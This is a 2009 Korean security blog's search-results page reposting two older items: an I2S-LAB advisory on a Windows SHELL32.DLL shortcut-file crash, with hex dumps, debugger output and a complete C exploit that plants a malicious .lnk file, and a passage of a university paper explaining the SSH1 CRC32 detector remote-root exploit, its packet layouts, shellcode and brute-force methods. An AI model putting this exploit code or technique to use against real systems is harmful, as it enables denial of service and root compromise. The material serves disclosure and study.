Search Results for 'search'


108 posts related to 'search'

  1. 2009/09/30 Windows SHELL32.DLL Denial of Service exploit
  2. 2009/09/30 SSH1 remote root exploit
  3. 2009/09/30 <남해안시대>-①`복합규제에 묶인 `블루오션'(펌)
  4. 2009/09/02 윈도우 호스팅 서버 셋팅 주요 사항 1
  5. 2009/08/27 ie8 에서 구글 검색 한글로 수정하기
  6. 2009/08/27 보안(원문) - SECURING YOUR UNIX SYSTEMS
  7. 2009/08/27 웹나이트 설치 후, 반드시 해야 할 일 두 가지
  8. 2009/08/26 Malicious Code Injection: It’s Not Just for SQL Anymore
  9. 2009/08/26 제로보드 취약점 총정리
  10. 2009/08/26 다양한 방법의 XSS 2
  11. 2009/08/26 Cookie Sniffing 에 사용될 수 있는 자동 공격 프로그램
  12. 2009/08/26 필터를 이용하여 HttpSevletRequest 에 validate를 추가하자!
  13. 2009/08/26 구글 코드 서치로 PHP 코드 중 SQL Injection 취약점이 있는 코드를 찾는 키워드
  14. 2009/08/25 최신 해킹 동향 및 방어 기술
  15. 2009/08/25 Sphinx - PHP 로 커스텀 검색 엔진 구현하기
  16. 2009/08/25 악성코드 bluell.cn 의 ip.js
  17. 2009/08/17 전화번호(국선/핸드폰) 붙여 있는거 중간에
  18. 2009/08/11 Shockwave Exploit
  19. 2009/08/10 중복되는 URL을 위해 Canonical Link 요소를 넣어주세요.
  20. 2009/08/07 25가지 SQL작성법
  21. 2009/08/05 아티보드 2.0 2009년 8월 5일자 버전입니다.
  22. 2009/08/01 자주쓰는 자바스크립트 함수 모음
  23. 2009/08/01 이클립스에서 ASP 개발하기
  24. 2009/07/31 Top 10 윈도 해킹툴
  25. 2009/07/16 Milw0rm 사이트에 올려진 MSSQL Injection 공격 기법에 대한 페이퍼
  26. 2009/07/16 구글의 모든 URL 은 원하는 인코딩으로 받아올 수 있습니다.
  27. 2009/07/16 내 블로그 검색에 오픈 소스 검색엔진을 붙여보자!
  28. 2009/07/16 플래시 포토 갤러리 23가지 모음-Flash Photo Gallery
  29. 2009/07/16 jquery 플러그인 링크
  30. 2009/07/16 jQuery PlugIn 링크 모음
###########################################################################################

                                ~ I2S LAB Security Advisory ~

###########################################################################################
http://www.I2S-LAB.com

Date : 12 / 03 / 2003

Affected systems : Microsoft Windows 2000 SP4 and below

Vendor : http://www.microsoft.com

Issue : Attackers can turn a media (directory, drive, mail, ...) into a remote bomb crashing any application
        which would try to acces it using SHELL32.DLL library (explorer, IE, outlook).


Description
___________

SHELL32.DLL is a library which contains windows system functions used to open web pages, documents and
obtain informations on file associations.

That library is used by most standard applications to browse directories to search for a specific file
(a perfect example being the FILE->Open menu command available in most applications).


Technical Details
_________________

As a user browses through his hard-drive, Windows automatically analyses every file of the current directory,
so as to allow the system to display the matching icon as well as file informations.

When Windows must analyse a shortcut (*.lnk), the system determines the properties of the file indicated by the link
using its structure (see: The Windows Shortcut File Format at http://www.I2S-LAB.com/Papers/The_Windows_Shortcut_File_Format.pdf).

Here is the structure of a windows link as we have designed it:

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
+-------------------------------------------------------------------+
| Shortcut HEADER                                                   |
+-------------------------------------------------------------------+
00000000 4C00 0000 L...  'L' Magic value

00000004 0114 0200 ....   GUID of shurtcut files
00000008 0000 0000 ....
00000008 C000 0000 ....
00000010 0000 0046 ...F
  
00000014 8900 0000 ....   Flag

00000018 2000 0000  ...   File attribute

0000001C A0C3 D5A8 ....   Time 1
00000020 478E C301 G...

00000024 A0C3 D5A8 ....   Time 2
00000028 478E C301 G...

0000002C A0C3 D5A8 ....   Time 3
00000030 478E C301 G...

00000034 0000 0000 ....          File length (here 0 bytes)
00000038 0000 0000 ....          Icone number (no icon for us)
0000003C 0100 0000 ....   Normal window
00000040 0000 0000 ....   shortcut (no)
00000044 0000 0000 ....   unknow/reserved
00000048 0000 0000 ....   unknow/reserved


+-------------------------------------------------------------------+
| Item Id List                                                      |
+-------------------------------------------------------------------+

0000004C 4600      F.     Size of item id list

+-------------------------------------------------------------------+
| First item                                                        |
+-------------------------------------------------------------------+

0000004E 1400      ..     Lenght of first item
00000050 1F50      .P     ???
00000052 E04F D020 .O.    File lenght
00000056 EA3A 6910 .:i.   ???

+-------------------------------------------------------------------+
| data...                                                           |
+-------------------------------------------------------------------+

0000005A A2D8 0800 2B30 309D 1900 2343 3A5C 0000 ....+00...#C:..
0000006A 0000 0000 0000 0000 0000 0000 0000 0051 ...............Q
0000007A 8417 0032 0000 0000 0049 2F87 4B20 006B ...2.....I/.K .k
0000008A 7574 2E74 7874 0000                     ut.txt..

+-------------------------------------------------------------------+
| vulnerable bytes                                                  |
+-------------------------------------------------------------------+

00000092 0000 0900  ....  name lenght
00000096 2E00       ..

00000098 5C00 6B00 7500 7400 2E00 7400 7800 7400 .k.u.t...t.x.t. name in wide char                                     `


+-------------------------------------------------------------------+
| data...                                                           |
+-------------------------------------------------------------------+

000000A8 6000 0000 0300 00A0 5800 0000 0000 0000 `.......X.......
000000B8 6932 732D 7732 6B00 0000 0000 0000 0000 i2s-w2k.........
000000C8 6EA1 E9B2 1B23 6B46 B804 8E43 F338 56F0 n....#kF...C.8V.
000000D8 0EDC EB90 A1F8 D711 A41B 00EE B000 DAC9 ................
000000E8 6EA1 E9B2 1B23 6B46 B804 8E43 F338 56F0 n....#kF...C.8V.
000000F8 0EDC EB90 A1F8 D711 A41B 00EE B000 DAC9 ................
00000108 0000 0000 00                            .....

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

If we modify the name length at the offset 0x92, SHELL32.DLL will cause an access violation error,
because text was about to be written outside of the the buffer allocated on the heap for this operation.


demonstration
_____________

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:>mkdir crash-test

C:>TrapLink.exe c:crash-test
################################
TrapLink SHELL32.dll DoS exploit
################################
By I2S-LAB Team.

http://www.I2S-LaB.com

c:crash-test is now trapped with a malicious LNK file

C:>start explorer.exe c:crash-test


(618.408): Access violation - code c0000005 (!!! second chance !!!)

eax=0013ffe0 ebx=70c18871 ecx=00003ee0 edx=00012eba esi=0012a000 edi=00143318
eip=77583411 esp=03e5ea8c ebp=03e5eab8 iopl=0         nv up ei pl nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000213

*** ERROR: Symbol file could not be found.  
Defaulted to export symbols for C:WINNTsystem32SHELL32.dll - SHELL32!Ordinal18+0x25:
77583411 f3a5            rep  movsd ds:0012a000=???????? es:00143318=00000065


775833ff e89effffff       call    SHELL32!Ordinal196 (775833a2)
77583404 85c0             test    eax,eax
77583406 7412             jz      SHELL32!Ordinal18+0x2e (7758341a)
77583408 8bcf             mov     ecx,edi
7758340a 8bf8             mov     edi,eax
7758340c 8bd1             mov     edx,ecx
7758340e c1e902           shr     ecx,0x2
77583411 f3a5             rep     movsd ds:000f8000=???????? es:00107040=00000000  <-- crash
77583413 8bca             mov     ecx,edx
77583415 83e103           and     ecx,0x3
77583418 f3a4             rep     movsb
7758341a 5f               pop     edi
7758341b 5e               pop     esi
7758341c c20400           ret     0x4


Exploits
________

/****************************************
* TrapLink for SHELL32.DLL DoS Exploit *
****************************************
      Discovered & coded by I2S-LaB

________________________________________

      URL :  http://www.I2S-LaB.com
      MAIL: contact[at]I2S-LaB.com
________________________________________

*****************************************/

#include <windows.h>

void main (int argc, char *argv[])
{

HANDLE TrapFile;
DWORD NumberOfBytesWritten;
unsigned char LnkCrash[] =

        "x4Cx00x00x00x01x14x02x00x00x00x00x00xC0x00x00x00"
        "x00x00x00x46x89x00x00x00x20x00x00x00xA0xC3xD5xA8"
        "x47x8ExC3x01xA0xC3xD5xA8x47x8ExC3x01xA0xC3xD5xA8"
        "x47x8ExC3x01x00x00x00x00x00x00x00x00x01x00x00x00"
        "x00x00x00x00x00x00x00x00x00x00x00x00x46x00x14x00"
        "x1Fx50xE0x4FxD0x20xEAx3Ax69x10xA2xD8x08x00x2Bx30"
        "x30x9Dx19x00x23x43x3Ax5Cx00x00x00x00x00x00x00x00"
        "x00x00x00x00x00x00x00x00x00x51x84x17x00x32x00x00"
        "x00x00x00x49x2Fx87x4Bx20x00x6Bx75x74x2Ex74x78x74"
        "x00x00xFFxFFx09x00x2Ex00x5Cx00x6Bx00x75x00x74x00"
        "x2Ex00x74x00x78x00x74x00x60x00x00x00x03x00x00xA0"
        "x58x00x00x00x00x00x00x00x69x32x73x2Dx77x32x6Bx00"
        "x00x00x00x00x00x00x00x00x6ExA1xE9xB2x1Bx23x6Bx46"
        "xB8x04x8Ex43xF3x38x56xF0x0ExDCxEBx90xA1xF8xD7x11"
        "xA4x1Bx00xEExB0x00xDAxC9x6ExA1xE9xB2x1Bx23x6Bx46"
        "xB8x04x8Ex43xF3x38x56xF0x0ExDCxEBx90xA1xF8xD7x11"
        "xA4x1Bx00xEExB0x00xDAxC9x00x00x00x00";

        printf ("################################n"
                "TrapLink SHELL32.dll DoS exploitn"
                "################################n"
                "By I2S-LAB Team.nn"
                "http://www.I2S-LaB.comnn" );

        if (!argv[1])
                printf ("Usage : TrapLink <path to trap>n", argv[0]);

        else
        {
                if ( !SetCurrentDirectory(argv[1]) )
                        printf ("Error : %s is not a valid directory to trapn", argv[1] );
                else
                {
                        TrapFile = CreateFile("I2S-Crash.lnk",
                                GENERIC_WRITE, 0,
                                NULL, CREATE_ALWAYS,
                                FILE_ATTRIBUTE_NORMAL, NULL );

                        if (TrapFile == INVALID_HANDLE_VALUE)
                                printf ("Error : cannot create malicious file.n");

                        else
                        {
                                WriteFile (TrapFile, LnkCrash, sizeof (LnkCrash), &NumberOfBytesWritten, NULL);
                                printf ("%s is now trapped with a malicious LNK filen", argv[1] );
                        }
                }
        }
}


Solution
________

Microsoft was notified on 11/17/2003 and have agreed to fix this as part of the next service pack.

credits
_______


Aur?ien BOUDOUX - aurelien[at]I2S-LaB.com
Fred CHAVEROT - fred[at]I2S-LaB.com
2009/09/30 21:45 2009/09/30 21:45
SSH1 remote root exploit
sshd CRC32 compensation attack detector vulnerability explained



March 26, 2002

Korpinen Pekka, 48179S
pkorpine@cc.hut.fi
Department of Electrical Engineering

Lyytikäinen Kalle, 47992V
kalyytik@cc.hut.fi
Department of Computer Science


Helsinki University of Technology


This paper is an analysis of a security weakness in many SSH1 server implementations. Ssh servers introduced a detection mechanism against CRC32 compensation attack. this detection function includes a design fault which enables remote hosts to write arbitrary values to server memory. The authors reverse engineered a proprietary exploit implementation and wrote their own implementation of the exploit. This paper describes the vulnerability, the exploitation process, the author's exploit implementation, and means for protecting hosts against this attack. This paper is also a project for the course 'Tik-110.452 Tietojärjestelmien käytännön turvallisuuden erikoiskurssi' at Helsinki University of Technology.
0 Table of Contents
1    Introduction - SSH protocol
2    Vulnerability in SSH1.5
    2.1    Buffer overflow
    2.2    Preconditions - Affected ssh daemons
    2.3    Linux memory layout
3    Exploits
    3.1    First incidents
    3.2    Problems
    3.3    Available implementations
    3.4    Shellcode
4    Our exploit
    4.1    Goals
    4.2    Resources
    4.3    Process
        4.3.1    Reverse Engineering
        4.3.2    Packet sending
        4.3.3    Finding distance to 'buf'
        4.3.4    Finding distance to kernel space
        4.3.5    Sending shellcode
        4.3.6    Executing shellcode
    4.4    Using exploit
    4.5    Advantages and Disadvantages
5    Counter actions
    5.1    Detecting attacks
    5.2    Required actions after being attacked
    5.3    Preventive actions
6    References
7    Appendices
    7.1    Shellcode
    7.2    Exploit usage
    7.3    Source code files for the exploit
        7.3.1    packet.diff
        7.3.2    uxp2.c

1 Introduction - SSH protocol
The SSH (Secure Shell) protocol provides a standardized way to communicate on a secured channel. All communications between SSH client and SSH daemon are encrypted. The encryption is done using a symmetric cipher (DES, 3DES and Blowfish, for example). The encryption key is exchanged at the beginning of the connection using RSA keys.

The (SSH) client creates a connection to the (SSH) server which is listening on a specific port, usually 22. The server accepts the connection and responds by sending back its version identification string. The client sends its own identification. After both sides have been identificated they switch to a packet based binary protocol. The server sends its host key. The host key is a unique RSA key used to authenticate the host and it is regenerated every hour. The client generates a 256 bit session key, encrypts it using both RSA keys, and sends the encrypted session key and selected cipher type to the server. Now both sides turn on encryption using the selected encryption algorithm and key. Finally the server sends an encrypted confirmation message. At this point the channel is secured. The client then tries to authenticate itself using any of the available authentication methods (password, RSA authentication etc). After successful authentication, the client can allocate a pseudo tty, start port forwarding, or execute a shell command [23].

When the client or the server receives an encrypted packet, it checks if the packet is tampered with using the crc32 compensation attack detector. The detection algorithm checks the packet before it is parsed in any way. The first case when this algorithm is used is when the client sends its authentication request.

Maximum packet length is about 256k bytes.

2 Vulnerability in SSH1.5
The crc32 compensation attack detector in various SSH versions has a bug that allows an evil attacker to write to memory locations on the server side. If the packets are smartly constructed, they may allow code to be executed on the server side. Because the server is usually being run under the root account, this vulnerability gives the attacker root access to the host.

The memory writing and running a code on the host can be inspected as the casual buffer overflow exploits even though in this case the buffer overflow is not such straightforward to do as usually.

2.1 Buffer overflow
Buffer overflow exploits are based on the fact that the return address of currently running function is kept on the stack. When a function wants to make a function call, it pushes its current instruction pointer to the stack (among other possible data) and jumps to the address of the callee. When the callee reaches it's end (e.g. return-clause in C) it retrieves the stored instruction pointer from the stack and makes a jump to it. Now the caller can continue it's execution. If the return address is manipulated during the execution of the callee, the point of execution is transferred to a different location when the callee returns. This makes the running of inserted code possible.

If we are inserting data on a statically allocated buffer we must be sure that the buffer can hold the all data (e.g. strlen(data) < strlen(buffer)). Usually progammer's won't check the length of the source because they are making assumptions of the length. If the source's length is greater than the buffer size, the buffer is overflown. Because the statically allocated buffers are usually kept on the stack, this allows the source data to overwrite the return address.

[Example:] If a program has a buffer, say 128 bytes in length. The program reads an argument from the command-line. The argument is supposedly be a password, so the 128 bytes is surely enough - no need to check. The main function calls a subfunction with the command line parameter as an in-argument. The subfunction has the mentioned buffer and it simply copies the argument to the buffer (without length checking!). This works ok if the source length is below 128 bytes. An evil attacker could overflow the buffer easily because of the lack of checks. He runs the program with an argument that is longer than 128 bytes. This causes the buffer to overflow.

The argument:
[NNNNNNNNNSSSSSSSSSSSJJJJJJJJJJJJJJJJJJJJJJJ]
The buffer in the stack with the return address:
[xxxxxxxxxxxxxxxxxxxxxxx]....[RET]...
The buffer after overflow:
[NNNNNNNNNSSSSSSSSSSSJJJ]....[ J ]...
The return address is overwritten with a value J. The specific location of the return address is unknown to the attacker. He can make a so-called NOP sled (marked as N) before the actual shellcode (S). NOP is a special instruction that doesn't do anything. In this way, the jump can be a guess and if the jump lands on the NOP sled, it slides to the beginning of the actual shellcode.

When the sub-function is ready to return (and when the return address is accidentally overwritten!), the program jumps to the address specified on the return address field in the stack. The point of execution is now pointing on the NOP sled and the shellcode is executed. The shellcode can now for example open a new shell or a telnetable back port on the host. This is all done on the same account as the program was run. [End of example] [1]

2.2 Preconditions - Affected ssh daemons
The following versions are reported to be vulnerable:
SSH-1.5-1.2.24 .. 31
SSH-1.5-1.3.6 .. 10
SSH-1.5-1.3.6
SSH-1.5-OpenSSH-1.2
SSH-1.5-OpenSSH-1.2.1
SSH-1.5-OpenSSH-1.2.2
SSH-1.5-OpenSSH-1.2.3
SSH-1.99-2.0.11 (with Version 1 fallback)
SSH-1.99-2.0.12 (with Version 1 fallback)
SSH-1.99-2.0.13 (with Version 1 fallback)
SSH-1.99-2.1.0.pl2 (with Version 1 fallback)
SSH-1.99-2.1.0 (with Version 1 fallback)
SSH-1.99-2.2.0 (with Version 1 fallback)
SSH-1.99-2.3.0 (with Version 1 fallback)
SSH-1.99-2.4.0 (with Version 1 fallback)
SSH-1.99-3.0.0 (with Version 1 fallback)
SSH-1.99-3.0.1 (with Version 1 fallback)
SSH-1.5-OpenSSH-2.1
SSH-1.5-OpenSSH_2.1.1
SSH-1.5-OpenSSH_2.2.0
SSH-1.5-OpenSSH_2.2.0p1
One can check the vulnerability by sending a long enough login name with a client (Note. newest clients check the length by themselves). If the server just crashes, the server is vulnerable. Long enough is 88 000 characters.

There also exists a perl script that does the checking automatically. [2]

2.3 Linux memory layout
The linux memory layout is in crucial role in this exploit. One must know something about the architecture. The figure below shows the general layout of the memory seen by an user process:

top of memory
  0xffff ffff           ____________________
                       |                    |        
                       |       KERNEL       |        No read/write
                       |____________________|
  0xc000 0000          |                    |
                       |        STACK       |   read/write
                       |____________________|
                       |                    |
                       |     LIBRARIES      |
  0x4000 0000          |____________________|
                       |                    |
                       |        HEAP        |        read/write (malloc)
                       |____________________|
                       |                    |
                       |        BSS         |        read/write
                       |____________________|
                       |                    |
                       |        DATA        |        read/write
                       |____________________|
                       |                    |
                       |   TEXT (aka CODE)  |          read, no write
  0x0800 0000          |____________________|
                       |                    |        
                       |       KERNEL       |        No read/write
                       |____________________|
  0x0000 00000
bottom of memory
The addresses are in the absolute form. The stack grows down (i.e. to smaller addresses) and heap grows up. Dynamically allocated arrays are created on heap (size < 128kB, address are form of 0x080x xxxx) or on the library area (size > 128kB, address are form of 0x400x xxxx). The addresses of specific variables and functions during the run may vary a bit from host to host but the addresses mentioned on the figure are constants.

On linux process's memory map can be seen by running cat /proc//maps. It displays addresses, sizes, attributes (read, write, execute), and the sources of loaded programs and libraries. The readelf utility can be used to see how the linker has organized the objects. [3] [4]

3 Exploits
The exploit is based entirely on the detect_attack() function in the SSH implementation. The function should detect the crc32 compensation attack but it introduces another security vulnerability.

Critical parts of the detect_attack() function:

--------------------------------------------------------
int detect_attack(unsigned char *buf, u_int32_t len, unsigned char *IV)
{
   ..
        static u_int16_t *h = (u_int16_t *) NULL;
        static u_int16_t n = HASH_MINSIZE / HASH_ENTRYSIZE;
        register u_int32_t i, j;
        u_int32_t l;
   ..
#1  for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2)
                ;

        if (h == NULL) {
                debug("Installing crc compensation attack detector.");
#2                n = l;
                h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);
        } else {
   ..
        for (c = buf, j = 0; c < (buf + len); c += SSH_BLOCKSIZE, j++) {
#3                for (i = HASH(c) & (n - 1); h[i] != HASH_UNUSED;
                     i = (i + 1) & (n - 1)) {
                        if (h[i] == HASH_IV) {
                                if (!CMP(c, IV)) {
                                        if (check_crc(c, buf, len, IV))
                                                return (DEATTACK_DETECTED);
                                        else
                                                break;
                                }
#4                        } else if (!CMP(c, buf + h[i] * SSH_BLOCKSIZE)) {
                                if (check_crc(c, buf, len, IV))
                                        return (DEATTACK_DETECTED);
                                else
                                        break;
                        }
                }
#5                h[i] = j;
        }
        return (DEATTACK_OK);
}
--------------------------------------------------------
The function is called after each received SSH packet. The 'buf' argument is the buffer where incoming (encrypted) packet's payload is located, 'len' is the length of the buffer (note: the length is delivered on the ssh-packet, so the actual buffer could be longer). The 'IV' is always NULL.

The problem resides on the #2 where a 32-bit integer ('l') is assigned on a 16-bit integer ('n'). If the lower word of the 'l' is zero, the 'n' is assigned to zero. The 'l' is calculated on #1, and is dependant on the 'len' variable. If the 'len' is bigger than about 88000, the 'n' is set to zero.

Then the 'h' is allocated with call to malloc and the requested becomes to zero because n==0. The allocated size is the minimum allocation block. This is 12 bytes in current linux platforms.

The outer for-loop (near #3) goes through the whole packets. The variable 'j' is the block number (blocks are 8 bytes long). On #3 the HASH()-macro gets the first 32-bits from the current block. Because the 'n' is zero the (n-1)-clause is evaluated as 0xffff. So, the variable 'i' has the first 32-bits of the current block.

On #5 is the assignment operation. This is where the memory can be written. The 'h' is the pointer to 16-bit values. So the "h[i] = j" clause can be expressed also with byte pointers *(h+2*i) = j Thus, the value of 'j' (the current block number) is written to a specific distance from the 'h'. Because the value of 'i' is fetched from the packet and the 'j' is the block number, the 'i' can be used as a offset value and the placement of the 'i' can be used as the value that is written to the memory.

The following figure hopefully clears the idea:

block      incoming packet
number     ('buf')
('j')
       ___________________
0000  | 00000000 xxxxxxxx |
0001  | 00000000 xxxxxxxx |
0002  | 00000000 xxxxxxxx |
0003  | 00000000 xxxxxxxx |
0004  | 00000000 xxxxxxxx |
0005  | 00000000 xxxxxxxx |
0006  | beefcafe xxxxxxxx |
....  
0332  | 00000042 xxxxxxxx |
....  
For example, on the 6th block:

  j = 6
  i = 0xbeefcafe
So, the following assignment is done:

h[i] = j;  ===>   h+2*i = j;  ===>  h+2*0x1234abcd = 6;
And on the 332th block:
  j = 332
  i = 0x42
  h[i] = j;  ===>   h+2*i = j;  ===>  h+2*0x00000123 = 332;
Notes to remember: The value in the packet means the offset (multiplied by 2) from the address of 'h' and the place where the value is located means the value to be stored in memory [5].

The shellcode insertion is done basically with a packet like this (knowledge of the exact parameters is required):

          ___________________
0000     | xxxxxxxx ffffffff |
         |       ....        |
         | ZZZZZZZZ xxxxxxxx | WRITE THE VALUE TO EIP
         |       ....        |
         | ZZZZZZZZ xxxxxxxx | WRITE THE NEW VALUE TO EIP
         | xxxxxxxx xxxxxxxx | CRC32 ATTACK PATTERN START
         |       ....        |
         | xxxxxxxx xxxxxxxx | CRC32 ATTACK PATTERN END
         | 90909090 90909090 | NOP SLED
         |       ....        |
         | xxxxxxxx xxxxxxxx | SHELL CODE
         |___________________|
xxxxx =
  ZZZZZZZZ = (offset to the high word of the stored instruction pointer)/2,
  XXXX = value of the instruction pointer (high word)
  YYYY = where to jump (high word, low word stays the same)
3.1 First incidents
The vulnerability was announced on February 8th 2001. It was discovered by Michal Zaleski of the BindView RAZOR Team. [6] [7]

Even thought the vulnerability was discovered early, many site administrators didn't update their SSH daemons. The experts assumed that the possibility of the exploit were ridiculously small and that there will not be any working mass exploit engines. They were wrong. The incident below is one of the first incidents that were analysed. It clearly shows that the exploit can be used. The rumour says that the big finnish hack incidents on winter 2001-2002 were also done by using this exploit.

"On October 6, 2001, intruders originating from network blocks in the Netherlands used an exploit for the crc32 compensation attack detector vulnerability to remotely compromise a Red Hat Linux system on the UW network running OpenSSH 2.1.1." This vulnerability is described in CERT Vulnerability note VU#945216 [6]:

Once in the system, a series of operating system commands were replaced with trojan horses to provide back doors for later entry and to conceal the presence of the intruders in the system. A second SSH server was run on a high numbered port (39999/tcp). The system was then used for broad scanning (outbound from the UW network) to identify more systems running OpenSSH 2.1.1, some of which were then attacked manually." [8] [9]

3.2 Problems
As one can see after examining the detect_attack() function, the hardest problem in exploiting is the addresses of critical variables and the address of the return pointer.

A successful exploit must guess the following parameters (or some parameters that the following can be calculated from):

distance between 'h' and 'buf'
distance between 'h' and the return address on the stack
the value of the return address (higher word enough)
the absolute address of 'buf'
With these parameters the exploit is somewhat straighforward. Educated guesses can be made with the knowledge of the host (operating system, processor, linux distribution, kernel version etc). This information should be easy to gather using automated tools. The attacker could for example get the version strings of mail, ftp, http, ssh, imap, and pop servers and compare them with the default versions of some distributions. This way he can get the same SSHD daemon and maybe try it on his lab.

Part of the parameters can be find using brute force methods. The buffer 'buf' can be found using a packet that writes to a specific region of memory. Making a educated guess of the boundaries where the buffer is located and starting to write from there. If the server dies (client sees connection closing), the algorithm should change the address and start again. The server dies because of segmentation fault (i.e. writing to a read-only memory etc). If the server reports something like "invalid bytes on packet", the writing was successful and the buffer is located (on high probability).

3.3 Available implementations
The implementations of this exploit are not easy to get. We were able to find a binary exploit called shack. This can be downloaded from [10].

The source code of the binary is not available but an analysis of an attack done with this tool can be read at [11].

The shack tries to locate the parameters using couple binary searches. After it has revealed good enough estimates of memory locations, it starts the bruteforcing. The shellcode of the shack creates a root shell on the host machine and the attacker can use it to install the trojans.

We tried the shack on couple of servers running the same version of OpenSSH. One host was succesfully exploited with this, the other one wasn't. Our exploit worked for both.

Another exploit by zip/TESO should be wondering somewhere, at least there are some analysis about that: [8]

Both of the analysis are concentrated on the network traffic and detection. It is kind of disappointing that nobody has analyzed the exploits in the lower levels, or how it is done.

We used the tcpflow-program to capture the network traffic created by shack. After analyzing the traffic we were able to reverse engineer the code almost completely. The process is documented in Chapter 4 [12].

3.4 Shellcode
Shellcode means the code that the attacker wants to run on a target computer. The code creates a shell hopefully running as root account. One version of shellcode is a portshell. It creates a backdoor that listens some specific TCP port on the target machine. When the attacker telnets to the target to that port, the portshell binds a shell to the tcp stream and the attacker has his own telnet-type access (with root-account!).

The shellcode is typically ran only a few minutes. In that time the attacker tries to install his rootkits and trojans, clears the logs and traces. After that the attacker uses some ordinary access type to get to the host.

Shellcodes are always platform dependant because they are made of assembly instructions. The attacker must know what platform is on the target. Shellcodes usually don't contain any zero bytes because then they couldn't be used with strpcy() functions. For example 'mov eax,0' must be transformed as 'xor eax,eax'. This does the eax clearing but doesn't contain zero when its run through assembler.

A shellcode example (port shell) with sources can be seen at [13]

The Phrack magazine has a great article about shellcodes and buffer overflows: [1]

4 Our exploit
4.1 Goals
The meaning of our exploit project is to hijack a remote host running sshd. this is attempted using sshd's vulnerabilities discussed in Chapter 2. The goal is to be able to access the remote host with root privileges and thereby gain access to all information and controls on the target host.

4.2 Resources
ssh daemon (modified)
We used Openssh-2.2.0p1 as the victim's ssh daemon. This implementation of sshd (protocol version less than 2) was known to be vulnerable to our attack and it was easily available over the Internet. We modified the sshd for the development phase by having it print out important frame and stack information. The stack location information was helpful in fine-tuning function return address overwriting. BSS memory section's location information gave directions to finding our shellcode in memory.
 
After the exploit application was finished, we restored the sshd to its original state.
 
ssh client source code
Openssh-2.3.0p1 was used as a platform for our exploit, since we found one occasion where a similar exploit was possible with this version. However, as far as we know, any other ssh client may have been used in our exploit.
 
In order to have the client to send the encrypted ssh packets of our choice, we modified the client to send exactly those cipherblocks we asked it to. Usually the client takes plaintext from the user and sends its ciphertext over the network. This time we wanted to send specific ciphertext and actually we did not care about the corresponding plaintext.
 
We let the client do key exchange in the ordinary fashion, but when the ciphering starts and user authentication is about to begin, we send malicious packets to the victim.
 
Teso/Shack logs & network traffic
We acquired a similar exploit from 'Team Teso', which was successful in running the required shellcode, but only with very good initial guesses for stack and bss section locations. This implementation was very inefficient.
 
We found another exploit called 'shack' which is related to 'anti.security.is'. This exploit is assumed to be proprietary in the first place and for sale, but it slipped to public. Only the binary of this exploit was available. Although the logs it generates gave us hints what it was doing. Some references call this exploit the Teso-exploit, but we think that it only uses the teso-method to find a critical parameter run-time.
 
The 'shack' exploit was a black box to us and we conducted extended analysis of the network traffic it generated.
 
Shellcode
We acquired a shellcode from Anathema anathema@hack.co.za, which was used in our implementation. See appendix 7.1. This implementation will create a socket for enabling remote access, bind the socket to the process, accept connections to port 36864, and execute a shell.
4.3 Process
We created an exploit application for handling the brute force methodology of the exploit. It uses the modified ssh client to try connections to the victim, with certain intelligence. The application generates malicious packets for the victim and lets the modified ssh client send them. Depending on the output of the server, the application makes conclusions on the effects of the malicious packet. The server may return such messages as 'corrupt bytes in packet' or 'CRC32 compensation attack detected'. Although, the most frequent response is a mere connection close since the server crashes often (SEGV). These output strings are analysed and used as directions for next malicious packets. It is very typical that the connection closes after the first cipherpacket, since it is somehow malformed. For example our exploit doesn't consider CRC checksums and therefore the sshd closes the connection. Although, a lot can happen before the connection is closed…

The process itself consists of four phases, of who the last one attempts to run the shellcode.

4.3.1 Reverse Engineering
The shack exploit surprised us with its capability to find out critical addresses concerning the exploit. A utility program called 'tcpflow' and gnu debugger were used to reverse engineer the operation of the shack exploit. Tcpflow is a program which captures entire tcp connections combining all relevant packets together. This tool was crucial in succeeding to make a working exploit.

Hexdump was used to interpret the data in readable format:

hexdump -e '"%07.7_ax " 16/1 "%02x " "n"' -s 0xb8 192.168.001.010.03164-192.168.001.001.02222 | less
Gdb was used to diagnose various erroneous states and in confirming memory address calculations.

4.3.2 Packet sending
We modified the packet.c source file in such a way that the client sends dedicated cipherpackets we ask it to. Packet.c includes a function definition for packet_write_poll() which is used to write the ciphertext to outgoing buffer. Our modified implementation reads the desired cipherpacket from a file '/tmp/exploit_packet' and sends it. These packet files are written by our exploit application.

4.3.3 Finding distance to 'buf'
The first thing that can be calculated in the server's memory addresses is the distance from variable h to variable buf (according to detect_attack() function). The following format of cipherpacket was used to search for the distance from h to buf:

Extract from packet #1:

00000b8 00 00 00 00 ff ff ff ff 00 00 00 01 ff ff ff ff
00000c8 00 00 00 04 ff ff ff ff 00 00 00 05 ff ff ff ff
00000d8 00 00 00 08 ff ff ff ff 00 00 00 09 ff ff ff ff
00000e8 00 00 00 0c ff ff ff ff 00 00 00 0d ff ff ff ff
00000f8 00 00 00 10 ff ff ff ff 00 00 00 11 ff ff ff ff
...
This is the first type of packet that our exploit uses. It consists of 184-byte header and 102400 bytes 8-byte blocks that consist of a small 32-bit number and 0xFFFF. Consecutive packets increase the small numbers. When sshd processes this kind of packet, it will set i to first 32-bits of each 8-byte block (#3 in detect_attack()). It tries to read memory at h[i] on the same line. This read will cause SEGV if i is such an offset to h that the address is not readable. SEGV also happens if buf + h[i] * 8 is unreadable. With this kind of packet, the sshd will practically always SEGV at #4 in detect_attack() when done thousands of times in a row.

The trick is to have i[small number] point always to 0xFFFF. This is same as 'HASH_UNUSED' and the memory read is skipped. The packet contains 12800 small numbers that make h[i] point to a loose array of approximately half the length of the packet. When the first small number in the packet points to the first half of the buffer, each h[i] will have value 0xFF and the memory read is skipped. It would be extremely rare to find such an array in memory in a place other than buf. Binary search is used to find the smallest small number that will not cause SEGV. A hit to buf will cause 'corrupt bytes' response from the sshd.

In the first phase, the small number is increased by packet_length / 4 so that its pointed address h[small number] points packet_length / 2 forward on each packet. This is a fast scan through the memory to find appriximate distance from h to buf. The second phase is a binary search which will find the distance accurately and reliably.

4.3.4 Finding distance to kernel space
